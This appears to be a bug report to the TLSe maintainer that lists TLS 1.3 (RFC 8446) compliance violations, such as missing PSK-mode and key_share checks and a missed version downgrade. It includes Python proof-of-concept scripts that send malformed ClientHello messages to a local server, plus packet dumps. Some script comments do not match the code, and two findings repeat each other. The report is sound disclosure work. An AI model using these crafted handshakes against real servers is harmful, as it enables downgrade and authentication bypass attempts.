Some Protocol Violations Report
Hi eduardsui,
This is truly an excellent TLS project — we really appreciate your work on TLSe.
While working with tlse, we identified several cases where the implementation behavior seems inconsistent with the TLS 1.3 specification (RFC 8446). Some of these issues could potentially be serious, others are less critical, and a few might be related to features that TLSe does not currently support.
For the sake of completeness, we’re reporting all of them together in this issue. We hope this helps improve tlse in future versions.
Violation1: Lack of Client Certificate Extension Validation
4.4.2. Certificate
Extensions in the Certificate message from the client MUST correspond to extensions in the CertificateRequest message from the server.
tlse server implementation fails to validate that the extensions in a client's Certificate message correspond to the extensions requested in the server's CertificateRequest message. This violates the mandatory requirements of RFC 8446, Section 4.4.2. A client can present a certificate with arbitrary, unrequested extensions, and the TLSE server will accept it, leading to potential policy bypasses and other security risks.
The server does not persist and cross-reference the extensions it requests from the client. The issue manifests in two key functions:
- In
tls_certificate_request(src/tls13.c), the server correctly constructs thecertificate_extensionsto be sent in theCertificateRequest. However, this list of requested extensions is not stored or persisted in the session context for later validation. - Consequently, in
tls_parse_certificate(src/tls.c), when the server receives the client'sCertificatemessage, it correctly parses the extensions present in the certificate. However, it completely fails to validate them against the original request because it has no record of what was initially requested. The server simply accepts the extensions as provided.
We observed this behavior even when explicitly enabling client certificate requests as per the library's documentation (i.e., callingtls_request_client_certificate()aftertls_accept()).
This flaw allows a client to present a certificate that does not conform to the server's policy as expressed in theCertificateRequest. This could lead to: Authentication Policy Bypass: A client could use a certificate with aKey UsageorExtended Key Usage extension that should have been disallowed by the server's filter, potentially gaining unauthorized access.
Therefore, we recommend prioritizing repairs to this area. We replayed messages and collected the following logs:
Violation2: Client Signature Algorithm Not Validated Against Server's Advertised List
4.4.3. Certificate Verify
If sent by a client, the signature algorithm used in the signature
MUST be one of those present in the supported_signature_algorithms
field of the "signature_algorithms" extension in the
CertificateRequest message.
4.4.3. Certificate Verify
If sent by a client, the signature algorithm used in the signature
MUST be one of those present in the supported_signature_algorithms
field of the "signature_algorithms" extension in the
CertificateRequest message.
We found reveals a two-sided failure in the handling of thesupported_signature_algorithms extension:
- The client-side logic does not correctly parse or store the
supported_signature_algorithmslist sent by the server in theCertificateRequest. This prevents the client from making an informed decision and selecting a signature algorithm that complies with the server's specific request. 2.The primary violation occurs on the server. In thetls_parse_verify_tls13function, when validating the client'sCertificateVerifymessage, the serverfails to check if the client's chosen signature algorithm was actually present in the list it previously advertised. Instead of cross-referencing thesupported_signature_algorithmslist sent in theCertificateRequest(which is generated in thetls_certificate_requestfunction), the server's validation logic only checks if the algorithm is part of its general, hard-coded list of supported algorithms.
This one may allow a malicious or misconfigured client to ignore the server's advertised preferences and force the use of any signature algorithm that the server generally supports, even if it was explicitly excluded from the CertificateRequest for that specific session. This could lead to a downgrade attack where a client forces the use of a weaker algorithm (e.g., one with a less secure hash function) that the server administrator intended to disallow for client authentication. We recommend prioritizing a fix for this issue.
Violation3 : Client Certificate Extensions Not Validated Against Server's Request
4.4.2. Certificate
Extensions in the Certificate message from the client MUST correspond to extensions in the CertificateRequest message from the server.
The code fails to implement validation ensuring client Certificate extensions correspond to server CertificateRequest extensions. Specifically: (1) tls_certificate_request (tlse.c) constructs requested extensions but doesn't use any structure, such as TLSContext ,to store them for validation; (2) tls_parse_certificate (tlse.c) processes client extensions without comparing them to requested extensions, merely skipping/sizing them. No other validation logic exists.
Violation4 : RSA-PSS
4.2.3. Signature Algorithms
RSASSA-PSS PSS algorithms:
If the corresponding public key's parameters are present, then the parameters in the signature MUST be identical to those in the public key.
Note: While our tool flagged the RSASSA-PSS issue, we observed that support for RSASSA-PSS appears to be temporarily disabled in recent commits. We are reporting it here for completeness.
When verifying RSASSA-PSS signatures, the implementation does not extract and use the required PSS parameters (e.g., salt length, hash algorithm, MGF) from the certificate's public key. Specifically, in tls_parse_verify_tls13 (line 1983), the code directly calls rsa_verify_hash_ex and passes hash_len as the salt length, ignoring the actual PSS parameters defined in the public key. We also noted that the TLSCertificate structure appears to lack fields to even store these parameters.
Violation5: Server Acceptspre_shared_keyExtension Withoutpsk_key_exchange_modes
4.2.9. Pre-Shared Key Exchange Modes
A client MUST provide a "psk_key_exchange_modes" extension if it offers a "pre_shared_key" extension.
We found the server fails to enforce the requirement that a client MUST provide a 'psk_key_exchange_modes' extension when offering a 'pre_shared_key' extension. The code processes the 'pre_shared_key' extension (lines 7198-7201) but lacks validation logic to verify the presence of the 'psk_key_exchange_modes' extension (line 7223).
I think for the sake of program robustness, the server should check this, but this adds extra checking and more strict checking logic. Maybe this fix isn't a high priority.
Violation6: Handshake Continues Without a Negotiated Key Exchange Method
4.1.1. Cryptographic Negotiation
If there is no overlap between the received "supported_groups" and the groups supported by the server, the server MUST abort the handshake with a "handshake_failure" or an "insufficient_security" alert.
TLSE violates a Key security requirement in the TLS 1.3 specification: when there is no PSK (Pre-Shared Key-RRB- selection and no overlap between the client and the server's supported, the server must abort the handshake and send a handshake or insufficient warning.
For instance, in the function tls_parse_hello (lines 7199–7200), the code identifies the PSK extension (0x29) but merely logs debug information without setting a flag in the TLS context to indicate whether a PSK was successfully selected.
if (extension_type == 0x29) {
// pre shared key
DEBUG_DUMP_HEX_LABEL("EXTENSION, PRE SHARED KEY", &buf[res], extension_len);
}
Additionally, in lines 7083–7110, the code attempts to select a group supported by the server from the client's supported_groups. However, it does not check the final state of the selected variable. If no matching group is found, this state is not recorded for subsequent validation.
int selected = 0;
for (i = 0; i < group_len; i += 2) {
unsigned short iana_n = ntohs(*(const unsigned short *)&buf[res + 2 + i]);
switch (iana_n) {
case 23:
context->curve = &secp256r1;
selected = 1;
break;
case 24:
context->curve = &secp384r1;
selected = 1;
break;
}
if (selected) {
DEBUG_PRINT("SELECTED CURVE %s\n", context->curve->name);
break;
}
}
Finally, in lines 7255–7276, before the function concludes, there is no validation of the following conditions: whether a PSK was selected, whether there is an overlap in supported_groups, and whether the handshake should be aborted when neither condition is satisfied. As a result, we conclude that the implementation lacks the mandatory verification logic required by RFC 8446.
key_share = NULL; key_size = 0;
if ((key_share) && (key_size) && ((context->version == TLS_V13) || (context->version == DTLS_V13))) {
int key_share_err = _private_tls_parse_key_share(context, key_share, key_size);
if (key_share_err) {
// request hello retry
if (context->connection_status != 4) {
*
Violation7 : Non-Compliance with TLS 1.2 Downgrade Requirement in the Absence of Supported Versions Extension
If the "supported_versions" extension is not present, servers compliant with this specification that support TLS 1.2 MUST negotiate TLS 1.2 or prior per [RFC5246], even if ClientHello.legacy_version is 0x0304 or later.
We observed that in the absence of the "supported_versions" extension, TLSE does not enforce a downgrade to TLS 1.2 or earlier but instead proceeds with the subsequent handshake process based on TLS 1.3. This, in our view, undermines the backward-compatible security model of the TLS 1.3 protocol, and strict checks should be applied to the value of the supported_versions extension.
We have provided a verification script along with the corresponding network traffic information.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import struct
# -------------------------------------------------------------------
# 手动构造TLS消息的POC脚本 (无外部依赖)
# -------------------------------------------------------------------
# --- 全局配置 ---
SERVER_IP = "127.0.0.1"
SERVER_PORT = 2000
def create_malicious_client_hello():
"""
手动构造一个ClientHello。
核心:设置 legacy_version = 0x0304,但故意省略 supported_versions 扩展。
这违反了RFC 8446的强制降级规则,用于测试服务器的验证逻辑。
"""
# --- ClientHello 核心内容 ---
# 版本号:我们故意将其设置为0x0304,这是引诱服务器的关键
version = b'\x03\x04'
# 随机数 (为简化,使用全0)
random = b'\x00' * 32
# Session ID (为空)
session_id = b'\x00'
# 加密套件列表 (包含一个TLS 1.3和一个TLS 1.2的套件)
# 0x1301 -> TLS_AES_128_GCM_SHA256 (TLS 1.3)
# 0x009c -> TLS_RSA_WITH_AES_128_GCM_SHA256 (TLS 1.2)
cipher_suites = b'\x00\x04' + b'\x13\x01\x00\x9c'
# 压缩方法 (为空)
compression_methods = b'\x01\x00'
# --- 构造扩展列表 ---
extensions_data = b''
# *** 关键点:我们在这里故意省略了 supported_versions 扩展 ***
print(" [-] 故意省略 'supported_versions' 扩展 (违反RFC 8446)")
# 扩展 1: key_share (必需,这是引诱服务器进行TLS 1.3协商的另一个关键)
# 0x0033 -> 扩展类型 51
# 0x0026 -> 扩展长度 38
# 0x0024 -> 密钥交换条目列表长度 36
# 0x001d -> 组: x25519
# 0x0020 -> 密钥长度 32
# b'\x01'*32 -> 假的密钥数据
ext_key_share = b'\x00\x33\x00\x26\x00\x24\x00\x1d\x00\x20' + (b'\x01' * 32)
extensions_data += ext_key_share
# --- 组装最终的数据包 ---
# 组装 ClientHello 消息体
client_hello_body = (
version +
random +
session_id +
cipher_suites +
compression_methods +
struct.pack('>H', len(extensions_data)) +
extensions_data
)
# 添加 Handshake 头部 (类型0x01, 3字节长度)
handshake_msg = b'\x01' + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body
# 添加 TLS Record 头部 (类型0x16, 2字节长度)
# 记录层版本仍然使用0x0303以兼容
tls_record = b'\x16\x03\x03' + struct.pack('>H', len(handshake_msg)) + handshake_msg
return tls_record
def parse_server_hello_version(response):
"""解析ServerHello,检查其协商的TLS版本"""
try:
# 检查是否是一个握手消息 (22) 和 ServerHello (2)
if response[0] != 22 or response[5] != 2:
return None, "Not a ServerHello"
# --- 定位到扩展部分的起始位置 ---
# ServerHello 结构:
# 2 bytes: version
# 32 bytes: random
# 1 byte: session_id_len
# N bytes: session_id
# 2 bytes: cipher_suite
# 1 byte: compression_method
# 2 bytes: extensions_len (optional)
# M bytes: extensions (optional)
# 从 Handshake 消息体开始 (response[5:])
# Handshake Header (4 bytes) + Server Version (2 bytes) + Random (32 bytes) = 38
current_offset = 5 + 4 + 2 + 32
session_id_len = response[current_offset]
current_offset += 1 + session_id_len
# 跳过 Cipher Suite (2 bytes) 和 Compression Method (1 byte)
current_offset += 2 + 1
# 检查是否有扩展
if len(response) <= current_offset:
# 如果服务器回复了一个没有扩展的TLS 1.2 ServerHello,它是安全的
return "TLS 1.2", "Secure (No extensions)"
extensions_len = struct.unpack('>H', response[current_offset:current_offset+2])[0]
current_offset += 2
# 遍历扩展
extensions_end = current_offset + extensions_len
while current_offset < extensions_end:
ext_type = struct.unpack('>H', response[current_offset:current_offset+2])[0]
ext_len = struct.unpack('>H', response[current_offset+2:current_offset+4])[0]
if ext_type == 43: # supported_versions
# *** 修复了这里的偏移量错误 ***
# 扩展内容在头部(4字节)之后
version_offset = current_offset + 4
negotiated_version = response[version_offset:version_offset+2]
if negotiated_version == b'\x03\x04':
return "TLS 1.3", "Vulnerable"
current_offset += 4 + ext_len
# 如果循环结束没找到supported_versions扩展,说明服务器正确降级到了TLS 1.2
return "TLS 1.2", "Secure"
except (IndexError, struct.error):
return None, "Response parsing error"
def test_vulnerability():
"""执行漏洞测试的主函数"""
print("=" * 70)
print(" TLS 'supported_versions' 扩展缺失强制降级漏洞验证")
print("=" * 70)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((SERVER_IP, SERVER_PORT))
print(f"[*] 已连接到 {SERVER_IP}:{SERVER_PORT}")
print("[*] 正在构造一个 legacy_version=0x0304 但缺少 'supported_versions' 的ClientHello...")
malicious_hello = create_malicious_client_hello()
print(f"[*] 正在发送 {len(malicious_hello)} 字节的恶意ClientHello...")
s.send(malicious_hello)
print("[*] 正在等待服务器响应...")
response = s.recv(4096)
if not response:
print("\n[!] 服务器关闭了连接或无响应。")
return
# 解析响应
negotiated_version, status = parse_server_hello_version(response)
if negotiated_version == "TLS 1.3":
print(f"\n[+] >>> 漏洞确认! <<<")
print("[+] 服务器错误地协商了 TLS 1.3!")
print("[+] 服务器未能遵守RFC 8446的强制降级规则,存在此漏洞。")
elif negotiated_version == "TLS 1.2":
print(f"\n[-] 测试失败 (这是一个**安全**服务器的预期行为)。")
print("[-] 服务器正确地将连接降级到了 TLS 1.2。")
print(f"[-] 结论: 服务器在此方面是安全的 (原因: {status})。")
else: # None
print(f"\n[?] 无法确定协商版本。服务器可能已发送警报或非标准响应。")
print(f" 解析状态: {status}")
except socket.timeout:
print("\n[!] 连接超时。")
except ConnectionResetError:
print("\n[!] 连接被重置。")
except Exception as e:
print(f"\n[!] 测试过程中发生未知错误: {e}")
finally:
try:
s.close()
except:
pass
if __name__ == "__main__":
test_vulnerability()
print("\n" + "=" * 70)
print(" 测试完成")
print("=" * 70)
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 91
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 87
Version: TLS 1.3 (0x0304)
Random: 0000000000000000000000000000000000000000000000000000000000000000
GMT Unix Time: (0)Jan 1, 1970 00:00:00.000000000 UTC
Random Bytes: 00000000000000000000000000000000000000000000000000000000
Session ID Length: 0
Cipher Suites Length: 4
Cipher Suites (2 suites)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 42
Extension: key_share (len=38)
Type: key_share (51)
Length: 38
Key Share extension
Client Key Share Length: 36
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 0101010101010101010101010101010101010101010101010101010101010101
[JA3 Fullstring: 772,4865-156,51,,]
[JA3: 05fd231fca49f4d013519fdc1c8c7cbf]
Frame 6: 1436 bytes on wire (11488 bits), 1436 bytes captured (11488 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2000, Dst Port: 45248, Seq: 1, Ack: 97, Len: 1368
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 122
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 118
Version: TLS 1.2 (0x0303)
Random: 161f29afbf745a270af037433636b7fe59518589cd6c62e7566aca6f2fdc775b
Session ID Length: 32
Session ID: f4d6df3a782b5592bca227dfa580785472b88a00f516cfa4eb44305fed372ada
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Method: null (0)
Extensions Length: 46
Extension: supported_versions (len=2)
Type: supported_versions (43)
Length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: key_share (len=36)
Type: key_share (51)
Length: 36
Key Share extension
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 05e6e8e2ef8ca3f6d1bec6c235c988b1f2317fb6bd9b03d5523ffd0c407e4457
[JA3S Fullstring: 771,4865,43-51]
[JA3S: f4febc55ea12b31ae17cfb7e614afda8]
TLSv1.3 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (20)
Version: TLS 1.2 (0x0303)
Length: 1
Change Cipher Spec Message
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 23
Encrypted Application Data: 08c7250485b0c971082abc89411bce7eb0f4cba0709c5b
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 42
Encrypted Application Data: 5f698d6dd44db4bf457a3d712df2a33b72f23e8020cc013cbb6d84642c942df98d7ee533?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 811
Encrypted Application Data: d03ccdf0230f62fa208108074030497cb95117abfc1db565d51b846023e107c0cbad2d98?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 281
Encrypted Application Data: 8201f30fdb1e6faed45dd6ac8bb07e8d524ef1a7493f8561c65d08a9c9139ba86b94ccdd?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 53
Encrypted Application Data: d7b129fcb71c0f6557a69a2422ec5ba79022ab27e4ecaae5da10bd396e8cead500f3dc56?
Violation8: Server Fails to Validate key_share Against supported_groups
4.2.8. Key Share
Each KeyShareEntry value MUST correspond to a group offered in the "supported_groups" extension and MUST appear in the same order.
The TLS 1.3 specification mandates that all groups present in thekey_shareextension MUST also be present in thesupported_groups extension. This ensures the server and client have a consistent view of the client's capabilities before negotiating a key exchange.
We have provided a reproduction script along with the corresponding data package to assist in the verification process.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import struct
# -------------------------------------------------------------------
# Manually crafted TLS message POC script (no external dependencies)
# -------------------------------------------------------------------
# --- Global configuration ---
SERVER_IP = "127.0.0.1"
SERVER_PORT = 2000
def create_malicious_client_hello():
"""
Manually construct a ClientHello.
Core idea: the key_share extension contains a group (secp384r1)
that is NOT declared in the supported_groups extension,
violating RFC 8446.
"""
# --- Core ClientHello fields ---
version = b'\x03\x03' # TLS 1.2 version for compatibility
random = b'\x00' * 32
session_id = b'\x00'
cipher_suites = b'\x00\x02' + b'\x13\x01' # TLS_AES_128_GCM_SHA256
compression_methods = b'\x01\x00'
# --- Construct extensions ---
extensions_data = b''
# Extension 1: supported_versions (indicating TLS 1.3)
ext_supported_versions = b'\x00\x2b\x00\x03\x02\x03\x04'
extensions_data += ext_supported_versions
# Extension 2: supported_groups (key point 1)
# We declare support for x25519 and secp256r1
# 0x001d -> x25519, 0x0017 -> secp256r1
supported_groups_list = b'\x00\x1d'
supported_groups_body = struct.pack('>H', len(supported_groups_list)) + supported_groups_list
ext_supported_groups = b'\x00\x0a' + struct.pack('>H', len(supported_groups_body)) + supported_groups_body
extensions_data += ext_supported_groups
print(" [+] Added 'supported_groups' extension declaring [x25519, secp256r1]")
# Extension 3: key_share (key point 2)
# We provide a key share for a group (secp384r1) NOT declared above
# 0x0018 -> secp384r1
# Key data can be dummy; server should fail at group validation
key_share_group = b'\x00\x17' # Group: secp384r1 (intentionally mismatched)
key_share_key = b'\x01' * 48 # secp384r1 has a 48-byte key length
key_share_entry = key_share_group + struct.pack('>H', len(key_share_key)) + key_share_key
key_share_body = struct.pack('>H', len(key_share_entry)) + key_share_entry
ext_key_share = b'\x00\x33' + struct.pack('>H', len(key_share_body)) + key_share_body
extensions_data += ext_key_share
print(" [-] Added 'key_share' with group (secp384r1) NOT declared above (RFC 8446 violation)")
# --- Assemble the final packet ---
client_hello_body = (
version +
random +
session_id +
cipher_suites +
compression_methods +
struct.pack('>H', len(extensions_data)) +
extensions_data
)
handshake_msg = b'\x01' + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body
tls_record = b'\x16\x03\x03' + struct.pack('>H', len(handshake_msg)) + handshake_msg
return tls_record
def test_vulnerability():
"""Main function to test the inconsistency vulnerability"""
print("=" * 70)
print(" TLS key_share vs supported_groups Inconsistency Test")
print("=" * 70)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((SERVER_IP, SERVER_PORT))
print(f"[*] Connected to {SERVER_IP}:{SERVER_PORT}")
print("[*] Constructing a ClientHello with mismatched key_share/supported_groups...")
malicious_hello = create_malicious_client_hello()
print(f"[*] Sending malicious ClientHello of {len(malicious_hello)} bytes...")
s.send(malicious_hello)
print("[*] Waiting for server response...")
response = s.recv(4096)
if not response:
print("\n[!] Server closed the connection or did not respond.")
print("[!] This is likely secure behavior: malformed packet rejected.")
return
content_type = response[0]
print(f"[*] Received response: content_type={content_type}")
if content_type == 21: # Alert
if len(response) >= 7:
alert_level, alert_desc = response[5], response[6]
print(f"\n[-] Server sent TLS Alert (level: {alert_level}, description: {alert_desc})")
if alert_desc == 47: # illegal_parameter
print(" [✓] Correct behavior! Server detected inconsistent extensions.")
print(" [✓] Conclusion: Server is secure in this regard.")
else:
print(" [?] Server sent a different alert but still rejected the handshake.")
else:
print("\n[!] Malformed Alert message.")
elif content_type == 22: # Handshake
print(f"\n[+] >>> Vulnerability Confirmed! <<<")
print("[+] Server accepted the ClientHello with mismatched key_share/supported_groups!")
print("[+] Server failed to validate that key_share group was declared in supported_groups (RFC 8446 violation).")
except socket.timeout:
print("\n[!] Connection timed out. Server may have silently dropped the malformed packet, which is typically secure behavior.")
except ConnectionResetError:
print("\n[!] Connection reset. Server may have detected error and closed connection, which is typically secure behavior.")
except Exception as e:
print(f"\n[!] Unexpected error occurred during testing: {e}")
finally:
try:
s.close()
except:
pass
if __name__ == "__main__":
test_vulnerability()
print("\n" + "=" * 70)
print(" Test Completed")
print("=" * 70)
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 52638, Dst Port: 2000, Seq: 1, Ack: 1, Len: 125
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 120
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 116
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
GMT Unix Time: (0)Jan 1, 1970 00:00:00.000000000 UTC
Random Bytes: 00000000000000000000000000000000000000000000000000000000
Session ID Length: 0
Cipher Suites Length: 2
Cipher Suites (1 suite)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 73
Extension: supported_versions (len=3)
Type: supported_versions (43)
Length: 3
Supported Versions length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: supported_groups (len=4)
Type: supported_groups (10)
Length: 4
Supported Groups List Length: 2
Supported Groups (1 group)
Supported Group: x25519 (0x001d)
Extension: key_share (len=54)
Type: key_share (51)
Length: 54
Key Share extension
Client Key Share Length: 52
Key Share Entry: Group: secp256r1, Key Exchange length: 48
Group: secp256r1 (23)
Key Exchange Length: 48
Key Exchange: 010101010101010101010101010101010101010101010101010101010101010101010101?
[JA3 Fullstring: 771,4865,43-10-51,29,]
[JA3: 3b00920a96c33f116552f4076c4669a2]
Frame 6: 1464 bytes on wire (11712 bits), 1464 bytes captured (11712 bits) on interface lo, id 0
Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2000, Dst Port: 52638, Seq: 1, Ack: 126, Len: 1398
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 82
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 78
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
Session ID Length: 32
Session ID: 1c3663427948d2eb26143d6e2a0e4899644b9fad13eb538ac0d98c22d0b2a011
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Method: null (0)
Extensions Length: 6
Extension: supported_versions (len=2)
Type: supported_versions (43)
Length: 2
Supported Version: TLS 1.3 (0x0304)
[JA3S Fullstring: 771,4865,43]
[JA3S: cce84e7a8b742462e40afb585a3e3ccc]
Violation9: Violation in PSK Key Exchange Mode Selection`
4.1.1. Cryptographic Negotiation
If the server selects a PSK, it MUST also select a key establishment mode from the set indicated by the client's "psk_key_exchange_modes" extension.
Based on this rule, if the server selects a Pre-Shared Key (PSK), it is required to also choose a key establishment mode from the set specified by the client's psk_key_exchange_modes extension. However, we have observed that the server code does not appear to store the client's psk_key_exchange_modes extension, making it impossible to make a compliant selection. Currently, the relevant code is only used for debugging purposes (tlse.c, line 7225):
if (extension_type == 0x2D) {
// psk key exchange modes
DEBUG_DUMP_HEX_LABEL("EXTENSION, PSK KEY EXCHANGE MODES", &buf[res],
extension_len);
}
Violation 10: Missing PSK Key Exchange Modes Validation in Server Implementation
4.2.9. Pre-Shared Key Exchange Modes
If clients offer "pre_shared_key" without a "psk_key_exchange_modes" extension, servers MUST abort the handshake.
Similarly, TLSE seems to only sequentially read the values of these two fields in tls_parse_hello without including relevant checking logic.
if (extension_type == 0x29) {
// pre shared key
DEBUG_DUMP_HEX_LABEL("EXTENSION, PRE SHARED KEY", &buf[res], extension_len);
}
if (extension_type == 0x2D) {
// psk key exchange modes
DEBUG_DUMP_HEX_LABEL("EXTENSION, PSK KEY EXCHANGE MODES", &buf[res],
extension_len);
}
The dynamically confirmed packet is as follows.
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 161
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 157
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
GMT Unix Time: (0)Jan 1, 1970 00:00:00.000000000 UTC
Random Bytes: 00000000000000000000000000000000000000000000000000000000
Session ID Length: 0
Cipher Suites Length: 2
Cipher Suites (1 suite)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 114
Extension: supported_versions (len=3)
Type: supported_versions (43)
Length: 3
Supported Versions length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: key_share (len=38)
Type: key_share (51)
Length: 38
Key Share extension
Client Key Share Length: 36
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 0101010101010101010101010101010101010101010101010101010101010101
Extension: pre_shared_key (len=61)
Type: pre_shared_key (41)
Length: 61
Pre-Shared Key extension
Identities Length: 24
PSK Identity (length: 18)
Identity Length: 18
Identity: 64756d6d795f70736b5f6964656e74697479
Obfuscated Ticket Age: 1234
PSK Binders length: 33
PSK Binders
[JA3 Fullstring: 771,4865,43-51-41,,]
[JA3: 273effe3f8b3f3ac8ebda978baecfdd9]
Frame 6: 1436 bytes on wire (11488 bits), 1436 bytes captured (11488 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2000, Dst Port: 38318, Seq: 1, Ack: 167, Len: 1368
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 122
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 118
Version: TLS 1.2 (0x0303)
Random: 0a291a5c7b370b4ef48f49019a3b7f73a3f7eb39e5980e8a9a8e422bbb82346d
Session ID Length: 32
Session ID: 5ea91394a66baa580e01c05d283b1452f64c4a833c94c461f9537be1de880a64
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Method: null (0)
Extensions Length: 46
Extension: supported_versions (len=2)
Type: supported_versions (43)
Length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: key_share (len=36)
Type: key_share (51)
Length: 36
Key Share extension
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 412d0118fa652c39c19b111c16e68c1195d25bb2edc8cbc02ccf768f2116121b
[JA3S Fullstring: 771,4865,43-51]
[JA3S: f4febc55ea12b31ae17cfb7e614afda8]
TLSv1.3 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (20)
Version: TLS 1.2 (0x0303)
Length: 1
Change Cipher Spec Message
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 23
Encrypted Application Data: 71e1ac1b0f82f9d177908d00986c78d2cbc6de96cf4819
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 42
Encrypted Application Data: e0f9659c2eb17ad9ca4938d58dd6895c099b0b53743e0e54b23d399b7019cee5236bb62d?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 811
Encrypted Application Data: 59b5f951363cc1021dcc7b72cbf128fd308f30dc0fb25b509437ba50b9e90facb351504b?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 281
Encrypted Application Data: b7db61163f76b53953c3be2abaa3ec4815f18a6c6faabc661a42545872651c2bfb7e106c?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 53
Encrypted Application Data: 33e57ede3fa56c2cad674ca9214febf97fbb85bdaba302fabe934283d521e575117880f8?
Violation11: Missing Validation of Server Certificates Against Client-Advertised Signature Algorithms
All certificates provided by the server MUST be signed by a signature algorithm advertised by the client if the server is able to provide such a chain (see Section 4.2.3).
The function tls_parse_certificate is responsible for processing server certificates but fails to validate them against the signature algorithms advertised by the client. Although it conducts structural parsing and performs fingerprint checks (for DTLS), it does not confirm that the certificates are signed using an algorithm from the client's provided list.
We verified the issue through a script.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import struct
# -------------------------------------------------------------------
# 手动构造TLS消息的POC脚本 (无外部依赖)
# -------------------------------------------------------------------
# --- 全局配置 ---
SERVER_IP = "127.0.0.1"
SERVER_PORT = 2000
def create_malicious_client_hello():
"""
手动构造一个ClientHello。
核心:在 signature_algorithms 扩展中,故意只声明支持服务器证书
签名算法之外的算法(例如,只声明支持ECDSA算法)。
"""
# --- ClientHello 核心内容 ---
version = b'\x03\x03'
random = b'\x00' * 32
session_id = b'\x00'
# 提供一个TLS 1.3和一个TLS 1.2的套件
cipher_suites = b'\x00\x04' + b'\x13\x01\x00\x9c'
